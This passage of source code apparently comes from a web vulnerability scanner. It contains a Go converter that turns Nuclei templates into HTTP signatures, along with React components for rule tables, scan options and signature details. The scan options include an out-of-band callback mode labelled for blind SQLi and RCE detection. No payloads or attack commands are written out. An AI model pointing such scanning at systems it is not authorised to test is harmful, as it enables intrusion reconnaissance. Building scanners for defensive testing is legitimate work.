data, rerr := os.ReadFile(path)
|
||||
if rerr != nil {
|
||||
census["read-error"]++
|
||||
return nil
|
||||
}
|
||||
rel, _ := filepath.Rel(*templatesDir, path)
|
||||
sig, reason := convert(data, rel, techNames)
|
||||
if reason != "" {
|
||||
census["skip:"+reason]++
|
||||
return nil
|
||||
}
|
||||
if seen[sig.ID] {
|
||||
census["skip:duplicate-id"]++
|
||||
return nil
|
||||
}
|
||||
seen[sig.ID] = true
|
||||
sigs = append(sigs, *sig)
|
||||
census["converted"]++
|
||||
return nil
|
||||
})
|
||||
if walkErr != nil {
|
||||
fmt.Fprintf(os.Stderr, "nucleigen: walk: %v\n", walkErr)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
sort.Slice(sigs, func(i, j int) bool { return sigs[i].ID < sigs[j].ID })
|
||||
out, _ := json.MarshalIndent(sigs, "", " ")
|
||||
if err := os.WriteFile(*outPath, append(out, '\n'), 0o644); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "nucleigen: write: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
printCensus(census, *outPath)
|
||||
}
|
||||
|
||||
// loadTechNames returns a lower-cased set of canonical Wappalyzer technology names.
|
||||
func loadTechNames() (map[string]string, error) {
|
||||
w, _, err := techfp.LoadWappalyzer()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := map[string]string{}
|
||||
for _, n := range w.Names() {
|
||||
out[strings.ToLower(n)] = n
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// --- nuclei template shapes (only the fields the subset reads) ---
|
||||
|
||||
type nTemplate struct {
|
||||
ID string `yaml:"id"`
|
||||
Info struct {
|
||||
Name string `yaml:"name"`
|
||||
Severity string `yaml:"severity"`
|
||||
Description string `yaml:"description"`
|
||||
Reference stringList `yaml:"reference"`
|
||||
Tags stringList `yaml:"tags"`
|
||||
Metadata yaml.Node `yaml:"metadata"`
|
||||
Remediation string `yaml:"remediation"`
|
||||
} `yaml:"info"`
|
||||
HTTP []nRequest `yaml:"http"`
|
||||
Requests []nRequest `yaml:"requests"` // legacy key for http
|
||||
// Presence of any of these marks an unsupported protocol/feature.
|
||||
Headless yaml.Node `yaml:"headless"`
|
||||
Network yaml.Node `yaml:"network"`
|
||||
DNS yaml.Node `yaml:"dns"`
|
||||
SSL yaml.Node `yaml:"ssl"`
|
||||
Code yaml.Node `yaml:"code"`
|
||||
JavaScript yaml.Node `yaml:"javascript"`
|
||||
Flow string `yaml:"flow"`
|
||||
Variables yaml.Node `yaml:"variables"`
|
||||
Workflows yaml.Node `yaml:"workflows"`
|
||||
}
|
||||
|
||||
type nRequest struct {
|
||||
Method string `yaml:"method"`
|
||||
Path stringList `yaml:"path"`
|
||||
Raw stringList `yaml:"raw"`
|
||||
Headers map[string]string `yaml:"headers"`
|
||||
Body string `yaml:"body"`
|
||||
MatchersCondition string `yaml:"matchers-condition"`
|
||||
Matchers []nMatcher `yaml:"matchers"`
|
||||
StopAtFirstMatch bool `yaml:"stop-at-first-match"`
|
||||
Payloads yaml.Node `yaml:"payloads"`
|
||||
Attack string `yaml:"attack"`
|
||||
Fuzzing yaml.Node `yaml:"fuzzing"`
|
||||
}
|
||||
|
||||
type nMatcher struct {
|
||||
Type string `yaml:"type"`
|
||||
Part string `yaml:"part"`
|
||||
Status []int `yaml:"status"`
|
||||
Words stringList `yaml:"words"`
|
||||
Regex stringList `yaml:"regex"`
|
||||
Size []int `yaml:"size"`
|
||||
Condition string `yaml:"condition"`
|
||||
Negative bool `yaml:"negative"`
|
||||
DSL stringList `yaml:"dsl"`
|
||||
}
|
||||
|
||||
// stringList accepts a YAML scalar, a comma-separated scalar (for tags), or a list.
|
||||
type stringList []string
|
||||
|
||||
func (s *stringList) UnmarshalYAML(n *yaml.Node) error {
|
||||
switch n.Kind {
|
||||
case yaml.ScalarNode:
|
||||
if strings.Contains(n.Value, ",") {
|
||||
for _, p := range strings.Split(n.Value, ",") {
|
||||
if p = strings.TrimSpace(p); p != "" {
|
||||
*s = append(*s, p)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if n.Value != "" {
|
||||
*s = []string{n.Value}
|
||||
}
|
||||
return nil
|
||||
case yaml.SequenceNode:
|
||||
var a []string
|
||||
if err := n.Decode(&a); err != nil {
|
||||
return err
|
||||
}
|
||||
*s = a
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var reBaseTokens = regexp.MustCompile(`\{\{\s*(?:BaseURL|RootURL|Hostname|Host)\s*\}\}`)
|
||||
|
||||
// convert maps one template to a Signature, or returns a non-empty skip reason.
|
||||
func convert(data []byte, source string, techNames map[string]string) (*templatesig.Signature, string) {
|
||||
var t nTemplate
|
||||
if err := yaml.Unmarshal(data, &t); err != nil {
|
||||
return nil, "parse-error"
|
||||
}
|
||||
if t.ID == "" {
|
||||
return nil, "no-id"
|
||||
}
|
||||
if present(t.Headless) || present(t.Network) || present(t.DNS) || present(t.SSL) ||
|
||||
present(t.Code) || present(t.JavaScript) || present(t.Workflows) {
|
||||
return nil, "unsupported-protocol"
|
||||
}
|
||||
if t.Flow != "" || present(t.Variables) {
|
||||
return nil, "flow-or-variables"
|
||||
}
|
||||
|
||||
reqs := t.HTTP
|
||||
if len(reqs) == 0 {
|
||||
reqs = t.Requests
|
||||
}
|
||||
if len(reqs) == 0 {
|
||||
return nil, "no-http"
|
||||
}
|
||||
if len(reqs) > 1 {
|
||||
return nil, "multi-request"
|
||||
}
|
||||
nr := reqs[0]
|
||||
|
||||
if present(nr.Payloads) || nr.Attack != "" || present(nr.Fuzzing) {
|
||||
return nil, "payloads"
|
||||
}
|
||||
if len(nr.Raw) > 0 {
|
||||
return nil, "raw-request"
|
||||
}
|
||||
if len(nr.Path) == 0 {
|
||||
return nil, "no-path"
|
||||
}
|
||||
|
||||
var paths []string
|
||||
for _, p := range nr.Path {
|
||||
if strings.Contains(p, "{{interactsh") {
|
||||
return nil, "interactsh"
|
||||
}
|
||||
stripped := reBaseTokens.ReplaceAllString(p, "")
|
||||
if strings.Contains(stripped, "{{") {
|
||||
return nil, "dynamic-path"
|
||||
}
|
||||
paths = append(paths, stripped)
|
||||
}
|
||||
|
||||
matchers, reason := convertMatchers(nr.Matchers)
|
||||
if reason != "" {
|
||||
return nil, reason
|
||||
}
|
||||
if len(matchers) == 0 {
|
||||
return nil, "no-matchers"
|
||||
}
|
||||
|
||||
sig := &templatesig.Signature{
|
||||
ID: t.ID,
|
||||
NucleiID: t.ID,
|
||||
Name: orDefault(t.Info.Name, t.ID),
|
||||
Severity: strings.ToLower(t.Info.Severity),
|
||||
Description: t.Info.Description,
|
||||
Remediation: t.Info.Remediation,
|
||||
Reference: t.Info.Reference,
|
||||
Tags: t.Info.Tags,
|
||||
Source: source,
|
||||
RequiresTech: techFromTags(t.Info.Tags, techNames),
|
||||
Requests: []templatesig.Request{{
|
||||
Method: orDefault(strings.ToUpper(nr.Method), "GET"),
|
||||
Paths: paths,
|
||||
Headers: nr.Headers,
|
||||
Body: nr.Body,
|
||||
Matchers: matchers,
|
||||
MatchersCondition: nr.MatchersCondition,
|
||||
StopAtFirstMatch: nr.StopAtFirstMatch,
|
||||
}},
|
||||
}
|
||||
return sig, ""
|
||||
}
|
||||
|
||||
// convertMatchers maps nuclei matchers to the supported subset, rejecting the
|
||||
// whole template on any unsupported matcher type.
|
||||
func convertMatchers(in []nMatcher) ([]templatesig.Matcher, string) {
|
||||
out := make([]templatesig.Matcher, 0, len(in))
|
||||
for _, m := range in {
|
||||
switch m.Type {
|
||||
case "status":
|
||||
out = append(out, templatesig.Matcher{Type: "status", Status: m.Status, Negative: m.Negative})
|
||||
case "size":
|
||||
out = append(out, templatesig.Matcher{Type: "size", Sizes: m.Size, Negative: m.Negative})
|
||||
case "word":
|
||||
// The runtime substitutes the URL tokens nuclei expands in words; any
|
||||
// other {{...}} expression (payload refs, dsl helpers) it cannot, so a
|
||||
// word carrying one is not faithfully evaluable — drop the template.
|
||||
for _, w := range m.Words {
|
||||
if hasUnknownTemplateToken(w) {
|
||||
return nil, "matcher-template-var"
|
||||
}
|
||||
}
|
||||
out = append(out, templatesig.Matcher{
|
||||
Type: "word", Part: m.Part, Words: m.Words,
|
||||
Condition: m.Condition, Negative: m.Negative,
|
||||
})
|
||||
case "regex":
|
||||
// Regexes are precompiled before a target (and thus BaseURL) is known,
|
||||
// so a regex carrying any template token cannot be substituted; drop it.
|
||||
for _, expr := range m.Regex {
|
||||
if strings.Contains(expr, "{{") {
|
||||
return nil, "regex-template-var"
|
||||
}
|
||||
if _, err := regexp.Compile(expr); err != nil {
|
||||
return nil, "regex-re2"
|
||||
}
|
||||
}
|
||||
out = append(out, templatesig.Matcher{
|
||||
Type: "regex", Part: m.Part, Regexes: m.Regex,
|
||||
Condition: m.Condition, Negative: m.Negative,
|
||||
})
|
||||
case "dsl":
|
||||
return nil, "dsl"
|
||||
default:
|
||||
return nil, "matcher:" + m.Type
|
||||
}
|
||||
}
|
||||
return out, ""
|
||||
}
|
||||
|
||||
// techFromTags maps a template's tags to canonical technology names present in the
|
||||
// Wappalyzer database. A tag with no match contributes nothing, so a template that
|
||||
// names no known technology stays tech-agnostic (runs everywhere).
|
||||
func techFromTags(tags []string, techNames map[string]string) []templatesig.TechReq {
|
||||
var out []templatesig.TechReq
|
||||
seen := map[string]bool{}
|
||||
for _, tag := range tags {
|
||||
if canon, ok := techNames[strings.ToLower(strings.TrimSpace(tag))]; ok && !seen[canon] {
|
||||
seen[canon] = true
|
||||
out = append(out, templatesig.TechReq{Name: canon})
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
var templateTokenRe = regexp.MustCompile(`\{\{([^}]*)\}\}`)
|
||||
|
||||
// knownMatcherTokens are the URL tokens the runtime substitutes in word matchers.
|
||||
var knownMatcherTokens = map[string]bool{
|
||||
"BaseURL": true, "RootURL": true, "Hostname": true, "Host": true,
|
||||
}
|
||||
|
||||
// hasUnknownTemplateToken reports whether s carries a {{...}} the runtime cannot
|
||||
// substitute in a matcher word.
|
||||
func hasUnknownTemplateToken(s string) bool {
|
||||
for _, m := range templateTokenRe.FindAllStringSubmatch(s, -1) {
|
||||
if !knownMatcherTokens[strings.TrimSpace(m[1])] {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func present(n yaml.Node) bool { return !n.IsZero() }
|
||||
func orDefault(s, d string) string {
|
||||
if strings.TrimSpace(s) == "" {
|
||||
return d
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func printCensus(census map[string]int, outPath string) {
|
||||
keys := make([]string, 0, len(census))
|
||||
for k := range census {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
sort.Slice(keys, func(i, j int) bool { return census[keys[i]] > census[keys[j]] })
|
||||
fmt.Printf("nucleigen: wrote %s\n", outPath)
|
||||
for _, k := range keys {
|
||||
fmt.Printf(" %-26s %d\n", k, census[k])
|
||||
}
|
||||
}
|
||||
@@ -2,6 +2,7 @@ import { useCallback, useEffect, useState } from 'react'
|
||||
import { useLocation, useNavigate } from 'react-router'
|
||||
import Toasts from './components/Toasts'
|
||||
import ActiveScanIndicator from './components/ActiveScanIndicator'
|
||||
import ScanOptionsModal from './components/ScanOptionsModal'
|
||||
import UpdateBanner from './components/UpdateBanner'
|
||||
import PluginBanner from './components/PluginBanner'
|
||||
import ErrorBoundary from './components/ErrorBoundary'
|
||||
@@ -218,6 +219,7 @@ export default function App() {
|
||||
<div className="flex flex-col h-screen">
|
||||
<Toasts />
|
||||
<ActiveScanIndicator />
|
||||
<ScanOptionsModal />
|
||||
<UpdateBanner />
|
||||
<PluginBanner failed={failedPlugins} />
|
||||
{/* Top nav */}
|
||||
|
||||
@@ -0,0 +1,222 @@
|
||||
import { Fragment, useState } from 'react'
|
||||
import { ChevronDown, ChevronRight } from 'lucide-react'
|
||||
import { severityBadge } from '../lib/severity'
|
||||
|
||||
// One rule row — passive detect rules and active-scan checks both map onto this,
|
||||
// so the two sections render identically.
|
||||
export interface RuleRowVM {
|
||||
id: string
|
||||
name: string
|
||||
description?: string
|
||||
severity: string
|
||||
confidence?: string
|
||||
target?: string
|
||||
originLabel: string
|
||||
originBuiltin: boolean
|
||||
enabled: boolean
|
||||
hits?: number
|
||||
onToggle: (enabled: boolean) => void
|
||||
onClick?: () => void
|
||||
onHits?: () => void
|
||||
}
|
||||
|
||||
// One collapsible group.
|
||||
export interface RuleGroupVM {
|
||||
key: string
|
||||
label: string
|
||||
description?: string
|
||||
rows: RuleRowVM[]
|
||||
onEnableAll: () => void
|
||||
onDisableAll: () => void
|
||||
}
|
||||
|
||||
interface Props {
|
||||
title?: string
|
||||
subtitle?: string
|
||||
groups: RuleGroupVM[]
|
||||
expanded: Set<string>
|
||||
onToggleExpand: (key: string) => void
|
||||
// When any filter is active, groups render expanded so matches aren't hidden.
|
||||
filtering: boolean
|
||||
emptyText: string
|
||||
}
|
||||
|
||||
// Rows per page within a group; groups larger than this paginate rather than
|
||||
// rendering thousands of rows at once.
|
||||
const PAGE_SIZE = 100
|
||||
|
||||
function originPill(builtin: boolean, label: string) {
|
||||
return (
|
||||
<span
|
||||
className={`inline-block px-1 py-px rounded-sm bg-surface-input text-[10px] font-semibold uppercase tracking-wide align-middle ${
|
||||
builtin ? 'text-accent-secondary' : 'text-accent-tertiary'
|
||||
}`}
|
||||
>
|
||||
{label}
|
||||
</span>
|
||||
)
|
||||
}
|
||||
|
||||
// RuleTableSection renders a labelled section (e.g. "Active Rules") as a grouped,
|
||||
// collapsible table identical in shape to the detect rules table, so active and
|
||||
// passive rules are indistinguishable but for the header. Groups start collapsed
|
||||
// (an absent key in `expanded`).
|
||||
export default function RuleTableSection({
|
||||
title,
|
||||
subtitle,
|
||||
groups,
|
||||
expanded,
|
||||
onToggleExpand,
|
||||
filtering,
|
||||
emptyText,
|
||||
}: Props) {
|
||||
const [pages, setPages] = useState<Record<string, number>>({})
|
||||
const setPage = (key: string, n: number) => setPages((prev) => ({ ...prev, [key]: n }))
|
||||
|
||||
return (
|
||||
<div className="border-b border-border">
|
||||
{(title || subtitle) && (
|
||||
<div className="flex items-center gap-1.5 px-2 py-1.5 bg-surface-card">
|
||||
{title && (
|
||||
<span className="text-[10px] font-semibold uppercase tracking-wide text-content-secondary">
|
||||
{title}
|
||||
</span>
|
||||
)}
|
||||
{subtitle && <span className="text-[10px] text-content-muted">· {subtitle}</span>}
|
||||
</div>
|
||||
)}
|
||||
<table className="w-full text-xs">
|
||||
<thead className="bg-surface-card text-content-muted uppercase">
|
||||
<tr>
|
||||
<th className="px-2 py-1 w-8" />
|
||||
<th className="px-2 py-1 text-left">Rule</th>
|
||||
<th className="px-2 py-1 text-left w-20">Severity</th>
|
||||
<th className="px-2 py-1 text-left w-14">Conf</th>
|
||||
<th className="px-2 py-1 text-left w-32">Target</th>
|
||||
<th className="px-2 py-1 text-left w-20">Origin</th>
|
||||
<th className="px-2 py-1 text-right w-12">Hits</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{groups.length === 0 && (
|
||||
<tr>
|
||||
<td colSpan={7} className="px-2 py-6 text-center text-content-muted text-xs">
|
||||
{emptyText}
|
||||
</td>
|
||||
</tr>
|
||||
)}
|
||||
{groups.map((g) => {
|
||||
const isCollapsed = !filtering && !expanded.has(g.key)
|
||||
const onCount = g.rows.filter((r) => r.enabled).length
|
||||
const pageCount = Math.ceil(g.rows.length / PAGE_SIZE)
|
||||
const page = Math.min(pages[g.key] ?? 0, Math.max(0, pageCount - 1))
|
||||
const shown = pageCount > 1 ? g.rows.slice(page * PAGE_SIZE, (page + 1) * PAGE_SIZE) : g.rows
|
||||
return (
|
||||
<Fragment key={g.key}>
|
||||
<tr className="cursor-pointer hover:bg-surface-hover" onClick={() => !filtering && onToggleExpand(g.key)}>
|
||||
<td colSpan={7} className="px-2 py-1 bg-surface-input text-[10px] text-content-muted uppercase tracking-wide">
|
||||
<span className="flex items-center gap-2">
|
||||
{filtering ? <span className="w-3" /> : isCollapsed ? <ChevronRight size={12} /> : <ChevronDown size={12} />}
|
||||
<span className="normal-case font-semibold text-content-secondary">{g.label}</span>
|
||||
<span>({g.rows.length})</span>
|
||||
<span className={onCount === g.rows.length ? '' : 'text-semantic-warning'}>{onCount} on</span>
|
||||
<button
|
||||
onClick={(e) => {
|
||||
e.stopPropagation()
|
||||
g.onEnableAll()
|
||||
}}
|
||||
className="text-accent-secondary hover:underline normal-case"
|
||||
>
|
||||
Enable all
|
||||
</button>
|
||||
<button
|
||||
onClick={(e) => {
|
||||
e.stopPropagation()
|
||||
g.onDisableAll()
|
||||
}}
|
||||
className="text-accent-secondary hover:underline normal-case"
|
||||
>
|
||||
Disable all
|
||||
</button>
|
||||
{g.description && <span className="normal-case text-content-muted font-normal">— {g.description}</span>}
|
||||
</span>
|
||||
</td>
|
||||
</tr>
|
||||
{!isCollapsed &&
|
||||
shown.map((r) => (
|
||||
<tr
|
||||
key={r.id}
|
||||
className={`border-b border-border-subtle hover:bg-surface-hover ${r.onClick ? 'cursor-pointer' : ''} ${
|
||||
r.enabled ? '' : 'opacity-60'
|
||||
}`}
|
||||
onClick={r.onClick}
|
||||
>
|
||||
<td className="px-2 py-1">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="accent-accent"
|
||||
checked={r.enabled}
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
onChange={(e) => r.onToggle(e.target.checked)}
|
||||
/>
|
||||
</td>
|
||||
<td className="px-2 py-1">
|
||||
<div className="text-content-secondary truncate max-w-md">{r.name}</div>
|
||||
{r.description && (
|
||||
<div className="text-[10px] text-content-muted truncate max-w-md">{r.description}</div>
|
||||
)}
|
||||
</td>
|
||||
<td className="px-2 py-1">{severityBadge(r.severity)}</td>
|
||||
<td className="px-2 py-1 text-content-muted">{r.confidence ?? '—'}</td>
|
||||
<td className="px-2 py-1 text-content-muted truncate">{r.target ?? '—'}</td>
|
||||
<td className="px-2 py-1">{originPill(r.originBuiltin, r.originLabel)}</td>
|
||||
<td className="px-2 py-1 text-right">
|
||||
{r.hits ? (
|
||||
<button
|
||||
onClick={(e) => {
|
||||
e.stopPropagation()
|
||||
r.onHits?.()
|
||||
}}
|
||||
className="text-accent-secondary hover:underline"
|
||||
>
|
||||
{r.hits}
|
||||
</button>
|
||||
) : (
|
||||
<span className="text-content-muted">0</span>
|
||||
)}
|
||||
</td>
|
||||
</tr>
|
||||
))}
|
||||
{!isCollapsed && pageCount > 1 && (
|
||||
<tr className="bg-surface-card">
|
||||
<td colSpan={7} className="px-2 py-1.5">
|
||||
<span className="flex items-center gap-3 text-[10px] text-content-muted">
|
||||
<button
|
||||
disabled={page === 0}
|
||||
onClick={() => setPage(g.key, page - 1)}
|
||||
className="px-1.5 py-0.5 rounded-sm bg-surface-input hover:bg-surface-hover disabled:opacity-40"
|
||||
>
|
||||
Prev
|
||||
</button>
|
||||
<span>
|
||||
{page * PAGE_SIZE + 1}–{Math.min((page + 1) * PAGE_SIZE, g.rows.length)} of {g.rows.length}
|
||||
</span>
|
||||
<button
|
||||
disabled={page >= pageCount - 1}
|
||||
onClick={() => setPage(g.key, page + 1)}
|
||||
className="px-1.5 py-0.5 rounded-sm bg-surface-input hover:bg-surface-hover disabled:opacity-40"
|
||||
>
|
||||
Next
|
||||
</button>
|
||||
</span>
|
||||
</td>
|
||||
</tr>
|
||||
)}
|
||||
</Fragment>
|
||||
)
|
||||
})}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,186 @@
|
||||
import { useEffect, useState } from 'react'
|
||||
import { api } from '../lib/api'
|
||||
import { initiateScan } from '../lib/scanMenu'
|
||||
import { SEVERITY_OPTIONS } from '../lib/severity'
|
||||
import { useScanOptionsStore } from '../stores/scanOptionsStore'
|
||||
import MultiSelectDropdown from './MultiSelectDropdown'
|
||||
|
||||
interface RuleOpt {
|
||||
id: string
|
||||
name: string
|
||||
enabled: boolean
|
||||
}
|
||||
|
||||
// ScanOptionsModal is the opt-in counterpart to the one-click "Initiate scan"
|
||||
// context-menu action: it lets the operator pick rules and, for the template
|
||||
// rule, narrow by severity/tag or bypass fingerprint gating before starting.
|
||||
export default function ScanOptionsModal() {
|
||||
const open = useScanOptionsStore((s) => s.open)
|
||||
const target = useScanOptionsStore((s) => s.target)
|
||||
const close = useScanOptionsStore((s) => s.close)
|
||||
|
||||
const [rules, setRules] = useState<RuleOpt[]>([])
|
||||
const [selectedRules, setSelectedRules] = useState<string[]>([])
|
||||
const [severities, setSeverities] = useState<string[]>([])
|
||||
const [tags, setTags] = useState('')
|
||||
const [ignoreFingerprint, setIgnoreFingerprint] = useState(false)
|
||||
const [oast, setOast] = useState(true)
|
||||
const [oastAvailable, setOastAvailable] = useState(false)
|
||||
const [starting, setStarting] = useState(false)
|
||||
|
||||
useEffect(() => {
|
||||
if (!open) return
|
||||
// Reset per-open and load the current rule set, defaulting the selection to
|
||||
// the enabled rules (what a plain scan would run).
|
||||
setSeverities([])
|
||||
setTags('')
|
||||
setIgnoreFingerprint(false)
|
||||
setOast(true)
|
||||
api
|
||||
.activeScanRules()
|
||||
.then((res) => {
|
||||
setRules(res.rules)
|
||||
setSelectedRules(res.rules.filter((r) => r.enabled).map((r) => r.id))
|
||||
})
|
||||
.catch(() => {
|
||||
setRules([])
|
||||
setSelectedRules([])
|
||||
})
|
||||
// OAST is available only when a callback listener domain is configured.
|
||||
api
|
||||
.getCallbackConfig()
|
||||
.then((c) => setOastAvailable(!!c.domain))
|
||||
.catch(() => setOastAvailable(false))
|
||||
}, [open])
|
||||
|
||||
if (!open || !target) return null
|
||||
|
||||
const toggleRule = (id: string, on: boolean) =>
|
||||
setSelectedRules((prev) => (on ? [...prev, id] : prev.filter((r) => r !== id)))
|
||||
|
||||
const start = async () => {
|
||||
setStarting(true)
|
||||
const tagList = tags
|
||||
.split(',')
|
||||
.map((t) => t.trim())
|
||||
.filter(Boolean)
|
||||
await initiateScan({
|
||||
scope: target.scope,
|
||||
origin: target.origin,
|
||||
url: target.url,
|
||||
requestId: target.requestId,
|
||||
rules: selectedRules,
|
||||
severity: severities,
|
||||
tags: tagList,
|
||||
ignoreFingerprint,
|
||||
// Only meaningful when OAST is available; the server gates it regardless.
|
||||
oast: oastAvailable ? oast : undefined,
|
||||
})
|
||||
setStarting(false)
|
||||
close()
|
||||
}
|
||||
|
||||
const templateSelected = selectedRules.includes('templatesig')
|
||||
|
||||
return (
|
||||
<div className="fixed inset-0 z-[60] flex items-center justify-center bg-black/50" onClick={close}>
|
||||
<div
|
||||
className="bg-surface-card border border-border rounded p-4 w-[32rem] space-y-3"
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
>
|
||||
<div>
|
||||
<h3 className="text-sm font-semibold text-content-primary">Scan with options</h3>
|
||||
<p className="text-[11px] text-content-muted mt-0.5 truncate">{target.label}</p>
|
||||
</div>
|
||||
|
||||
{/* Rules */}
|
||||
<div className="space-y-1.5">
|
||||
<span className="text-xs text-content-muted">Rules</span>
|
||||
<div className="flex flex-wrap items-center gap-3">
|
||||
{rules.map((r) => (
|
||||
<label key={r.id} className="flex items-center gap-1 cursor-pointer">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="accent-accent"
|
||||
checked={selectedRules.includes(r.id)}
|
||||
onChange={(e) => toggleRule(r.id, e.target.checked)}
|
||||
/>
|
||||
<span className="text-xs text-content-secondary">{r.name}</span>
|
||||
</label>
|
||||
))}
|
||||
{rules.length === 0 && <span className="text-xs text-content-muted">No rules available</span>}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Template-signature options */}
|
||||
<div className="border-t border-border-subtle pt-3 space-y-2">
|
||||
<span className="text-xs text-content-muted">
|
||||
Template signatures{!templateSelected && ' (rule not selected)'}
|
||||
</span>
|
||||
<div className={`flex flex-wrap items-center gap-3 ${templateSelected ? '' : 'opacity-50 pointer-events-none'}`}>
|
||||
<MultiSelectDropdown
|
||||
label="Severity"
|
||||
options={SEVERITY_OPTIONS}
|
||||
selected={severities}
|
||||
onChange={setSeverities}
|
||||
tooltip="Run only signatures of these severities; empty runs all"
|
||||
/>
|
||||
<label className="flex items-center gap-1.5">
|
||||
<span className="text-xs text-content-muted">Tags</span>
|
||||
<input
|
||||
className="bg-surface-input text-xs px-2 py-1.5 rounded-sm border border-border w-40"
|
||||
placeholder="e.g. wordpress, exposure"
|
||||
value={tags}
|
||||
onChange={(e) => setTags(e.target.value)}
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
<label className={`flex items-center gap-1.5 cursor-pointer ${templateSelected ? '' : 'opacity-50 pointer-events-none'}`}>
|
||||
<input
|
||||
type="checkbox"
|
||||
className="accent-accent"
|
||||
checked={ignoreFingerprint}
|
||||
onChange={(e) => setIgnoreFingerprint(e.target.checked)}
|
||||
/>
|
||||
<span className="text-xs text-content-secondary">Ignore fingerprint (run every signature, not just those matching the host's stack)</span>
|
||||
</label>
|
||||
</div>
|
||||
|
||||
{/* Out-of-band (OAST) testing — only when a callback listener is configured. */}
|
||||
<div className="border-t border-border-subtle pt-3">
|
||||
<label className={`flex items-center gap-1.5 ${oastAvailable ? 'cursor-pointer' : 'opacity-50'}`}>
|
||||
<input
|
||||
type="checkbox"
|
||||
className="accent-accent"
|
||||
checked={oastAvailable && oast}
|
||||
disabled={!oastAvailable}
|
||||
onChange={(e) => setOast(e.target.checked)}
|
||||
/>
|
||||
<span className="text-xs text-content-secondary">
|
||||
Out-of-band (OAST) testing — blind SQLi/RCE via callback
|
||||
{!oastAvailable && (
|
||||
<span className="text-content-muted"> · requires a configured callback listener</span>
|
||||
)}
|
||||
</span>
|
||||
</label>
|
||||
</div>
|
||||
|
||||
<div className="flex justify-end gap-2 pt-1">
|
||||
<button
|
||||
onClick={close}
|
||||
className="px-3 py-1.5 rounded-sm text-xs text-content-secondary hover:text-content-primary hover:bg-surface-input"
|
||||
>
|
||||
Cancel
|
||||
</button>
|
||||
<button
|
||||
onClick={start}
|
||||
disabled={starting || selectedRules.length === 0}
|
||||
className="px-3 py-1.5 rounded-sm text-xs bg-accent-secondary hover:bg-accent-secondary-hover text-black font-semibold disabled:opacity-50 disabled:cursor-not-allowed"
|
||||
>
|
||||
{starting ? 'Starting…' : 'Start scan'}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
import type { SignatureCatalogItem } from '../lib/api'
|
||||
import { severityBadge } from '../lib/severity'
|
||||
|
||||
// field renders a labelled read-only row, skipping empty values. Shared shape with
|
||||
// DetectRuleModal's RuleReference so active detail reads like passive detail.
|
||||
export function field(label: string, value?: string | string[], mono = false) {
|
||||
if (!value || (Array.isArray(value) && value.length === 0)) return null
|
||||
const text = Array.isArray(value) ? value.join('\n') : value
|
||||
return (
|
||||
<div>
|
||||
<div className="text-[10px] uppercase tracking-wide text-content-muted">{label}</div>
|
||||
<div className={`text-xs text-content-secondary whitespace-pre-wrap break-words ${mono ? 'font-mono' : ''}`}>
|
||||
{text}
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
// monoLabels are the detail fields rendered monospaced — raw bytes, ids, payloads.
|
||||
const monoLabels = new Set(['Request', 'Nuclei ID', 'Source', 'Payloads'])
|
||||
|
||||
// SignatureDetail is the read-only detail for one catalog item — a template signature
|
||||
// or an injection check — shown when a row is clicked. It renders the common fields
|
||||
// plus the item's free-form detail list, so it serves every catalog rule. The active
|
||||
// counterpart to DetectRuleModal's RuleReference.
|
||||
export default function SignatureDetail({ sig }: { sig: SignatureCatalogItem }) {
|
||||
return (
|
||||
<div className="space-y-2.5">
|
||||
<div className="flex items-center gap-2">
|
||||
{severityBadge(sig.severity)}
|
||||
{!sig.enabled && (
|
||||
<span className="text-[10px] px-1.5 py-0.5 rounded-sm bg-surface-input text-content-muted">disabled</span>
|
||||
)}
|
||||
</div>
|
||||
<div className="text-sm font-semibold text-content-primary">{sig.name}</div>
|
||||
{field('Description', sig.description)}
|
||||
{field('Remediation', sig.remediation)}
|
||||
{(sig.detail ?? []).map((d) => (
|
||||
<div key={d.label}>{field(d.label, d.value, monoLabels.has(d.label))}</div>
|
||||
))}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
import { useEffect } from 'react'
|
||||
import { RefreshCw } from 'lucide-react'
|
||||
import DashboardPanel, { EmptyPanelBody } from '../DashboardPanel'
|
||||
import { useTechStore } from '../../stores/techStore'
|
||||
import { fingerprintHosts } from '../../lib/scanMenu'
|
||||
import { Redacted } from '../Redacted'
|
||||
|
||||
// Passive technology fingerprints per host. Push-driven via ws (tech.detected),
|
||||
// so it loads once on mount and never polls.
|
||||
export default function TechnologiesWidget() {
|
||||
const hosts = useTechStore((s) => s.hosts)
|
||||
const summary = useTechStore((s) => s.summary)
|
||||
const loaded = useTechStore((s) => s.loaded)
|
||||
const load = useTechStore((s) => s.load)
|
||||
|
||||
useEffect(() => {
|
||||
if (!loaded) void load()
|
||||
}, [loaded, load])
|
||||
|
||||
return (
|
||||
<DashboardPanel
|
||||
title="Technologies"
|
||||
count={summary.hosts}
|
||||
headerExtra={
|
||||
<button
|
||||
onClick={() => void fingerprintHosts()}
|
||||
title="Re-fingerprint all captured hosts"
|
||||
className="ml-auto float-right text-content-muted hover:text-accent-secondary"
|
||||
>
|
||||
<RefreshCw size={12} />
|
||||
</button>
|
||||
}
|
||||
>
|
||||
{hosts.length === 0 ? (
|
||||
<EmptyPanelBody>No technologies fingerprinted yet</EmptyPanelBody>
